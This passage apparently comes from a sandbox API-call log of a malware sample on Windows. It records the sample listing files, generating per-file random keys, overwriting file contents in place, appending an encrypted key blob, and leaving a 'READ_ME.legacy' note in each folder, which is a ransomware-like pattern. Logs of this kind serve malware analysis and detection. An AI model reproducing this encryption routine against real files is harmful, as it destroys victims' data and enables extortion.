ftCreationTime.dwLowDateTime=0x49247e6e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x49247e6e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xb7fe6fe6, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.634] FindNextFileW (in: hFindFile=0x30d4ff0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4852ad82, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4852ad82, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xb7fe6fe6, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.634] FindNextFileW (in: hFindFile=0x30d4ff0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe71ad5, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe71ad5, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe71ad5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.634] FindNextFileW (in: hFindFile=0x30d4ff0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe71ad5, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe71ad5, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe71ad5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.634] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.634] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0193.634] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310091\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.634] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310091\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\310091\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0c [0193.635] GetFileSizeEx (in: hFile=0x1c0c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.635] ReadFile (in: hFile=0x1c0c, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.635] SetFilePointer (in: hFile=0x1c0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.635] WriteFile (in: hFile=0x1c0c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.635] SetFilePointer (in: hFile=0x1c0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.635] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.635] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.636] WriteFile (in: hFile=0x1c0c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.636] WriteFile (in: hFile=0x1c0c, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.636] CloseHandle (hObject=0x1c0c) returned 1 [0193.639] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.639] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.639] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310091\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.639] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310091\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\310091\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0c [0193.640] GetFileSizeEx (in: hFile=0x1c0c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.640] ReadFile (in: hFile=0x1c0c, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.640] SetFilePointer (in: hFile=0x1c0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.640] WriteFile (in: hFile=0x1c0c, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.640] SetFilePointer (in: hFile=0x1c0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.640] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.640] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.640] WriteFile (in: hFile=0x1c0c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.641] WriteFile (in: hFile=0x1c0c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.641] CloseHandle (hObject=0x1c0c) returned 1 [0193.642] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310093\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fdaae, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x19944238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbe71ad5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4bf0 [0193.642] FindNextFileW (in: hFindFile=0x30d4bf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fdaae, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x19944238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbe71ad5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.642] FindNextFileW (in: hFindFile=0x30d4bf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ee4d5d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3f0afb6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3f0afb6, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x18ce, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504725120", cAlternateFileName="150472~1")) returned 1 [0193.642] FindNextFileW (in: hFindFile=0x30d4bf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323cdb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe75647c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xb97e2cd3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.643] FindNextFileW (in: hFindFile=0x30d4bf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323cdb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfbc06fd, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xb97e2cd3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.643] FindNextFileW (in: hFindFile=0x30d4bf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe71ad5, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe71ad5, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe71ad5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.643] FindNextFileW (in: hFindFile=0x30d4bf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe71ad5, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe71ad5, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe71ad5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.643] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.643] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0193.643] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310093\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.643] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310093\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\310093\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c10 [0193.643] GetFileSizeEx (in: hFile=0x1c10, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.644] ReadFile (in: hFile=0x1c10, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.644] SetFilePointer (in: hFile=0x1c10, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.644] WriteFile (in: hFile=0x1c10, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.644] SetFilePointer (in: hFile=0x1c10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.644] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.644] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.644] WriteFile (in: hFile=0x1c10, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.645] WriteFile (in: hFile=0x1c10, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.645] CloseHandle (hObject=0x1c10) returned 1 [0193.646] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.646] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.646] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310093\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.647] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310093\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\310093\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c10 [0193.647] GetFileSizeEx (in: hFile=0x1c10, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.647] ReadFile (in: hFile=0x1c10, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.647] SetFilePointer (in: hFile=0x1c10, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.647] WriteFile (in: hFile=0x1c10, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.647] SetFilePointer (in: hFile=0x1c10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.647] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.648] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.648] WriteFile (in: hFile=0x1c10, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.649] WriteFile (in: hFile=0x1c10, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.649] CloseHandle (hObject=0x1c10) returned 1 [0193.652] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.652] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.652] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310093\\1504725120", dwFileAttributes=0x80) returned 1 [0193.652] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310093\\1504725120" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\310093\\1504725120"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c10 [0193.653] GetFileSizeEx (in: hFile=0x1c10, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6350) returned 1 [0193.653] ReadFile (in: hFile=0x1c10, lpBuffer=0x30c9010, nNumberOfBytesToRead=0x18ce, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9010*, lpNumberOfBytesRead=0x2e1f9bc*=0x18ce, lpOverlapped=0x0) returned 1 [0193.662] SetFilePointer (in: hFile=0x1c10, lDistanceToMove=-6350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.662] WriteFile (in: hFile=0x1c10, lpBuffer=0x60cbf0*, nNumberOfBytesToWrite=0x18ce, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18ce, lpOverlapped=0x0) returned 1 [0193.662] SetFilePointer (in: hFile=0x1c10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18ce [0193.663] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.663] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.663] WriteFile (in: hFile=0x1c10, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.663] WriteFile (in: hFile=0x1c10, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.663] CloseHandle (hObject=0x1c10) returned 1 [0193.664] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\onesettings_waas_featuremanagement\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4563a7b6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x45ab2e45, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbe97eb0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4870 [0193.664] FindNextFileW (in: hFindFile=0x30d4870, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4563a7b6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x45ab2e45, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbe97eb0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.665] FindNextFileW (in: hFindFile=0x30d4870, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45ab2e45, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x45ab2e45, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9c3165d0, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.665] FindNextFileW (in: hFindFile=0x30d4870, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4589cd4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4589cd4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9c3165d0, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.665] FindNextFileW (in: hFindFile=0x30d4870, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe71ad5, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe71ad5, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe97eb0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.665] FindNextFileW (in: hFindFile=0x30d4870, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe71ad5, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe71ad5, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe97eb0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.665] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.665] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0193.665] SetFileAttributesW 